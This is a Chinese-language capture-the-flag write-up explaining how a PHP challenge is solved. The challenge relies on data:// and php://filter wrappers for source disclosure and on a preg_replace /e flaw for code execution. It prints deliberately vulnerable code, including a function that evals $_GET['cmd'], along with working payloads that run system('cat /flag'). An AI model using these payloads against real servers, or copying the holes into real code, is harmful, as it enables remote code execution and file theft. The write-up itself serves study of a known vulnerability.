当前位置: 代码迷 >> 综合 >> preg_replace /e模式下代码漏洞
  详细解决方案

preg_replace /e模式下代码漏洞

热度:2   发布时间:2023-12-03 00:06:28.0

<?phperror_reporting(0);
$text = $_GET["text"];//以get方式提交text
$file = $_GET["file"];//以get方式提交file
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){//file_get_content需要读到一个$text传来的内容为I have a dream的文件echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";  if(preg_match("/flag/",$file)){//正则表达式匹配die("Not now!");  }  include($file); //next.php,包含并执行file
}else{  highlight_file(__FILE__);
}
?>

file_get_content函数会把整个文件读入一个字符串中,语法为file_get_contents(path,include_path,context,start,max_length),需要读取一个$text传来的内容为I have a dream的文件

data协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。

使用方法:data://text/plain;base64,xxx(xxx为base64编码后的数据)

满足text的payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

往下看file的条件, flag 被过滤了,提示通过 include 将包含并执行 next.php

这里需要用到php://filter协议读内容的知识

php://filter/read=convert.base64-encode/resource=xxxx

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,也可以进行任意文件的读取,具有resource(要过滤的数据流)、read(读链筛选的数据流)、write(写链筛选的数据流)等等参数。
?
在知道使用php://filter/read之后,为什么read后会跟一些奇怪的参数,include一个文件中有php代码会进行php解析,如果是明文传输,则会直接返回。用了过滤器,如果是php文件就不会解析,就可以拿到php文件的源码了,虽然是以base64回显在页面,但是只要通过base64解码即可

满足file的payload:

php://filter/read=convert.base64-encode/resource=next.php

构造满足text且满足file的payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

再用base64解码

解码后的next.php:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']);
}
?>

通过 foreach 传参给 complex 函数, preg_replace在/e情况下存在漏洞,匹配成功则解析然后替换【preg_replace使用了 /e 模式,在该函数的第一个和第三个参数都是可控的,官方 payload 为:/?.*={${phpinfo()}},即GET方式传入的参数名为 /?.* ,值为 {${phpinfo()}},但是在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,导致我们正则匹配失效则,现在要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}}即可执行phpinfo函数。这里提供一个payload :\S*=${phpinfo()}

?\S*=${phpinfo()}

方法一:

引号会被转义,用的 chr 拼接 system 的参数 payload:

/next.php?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

方法二:

next.php提示getFlag

function getFlag(){
    @eval($_GET['cmd']);
}

payload:

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');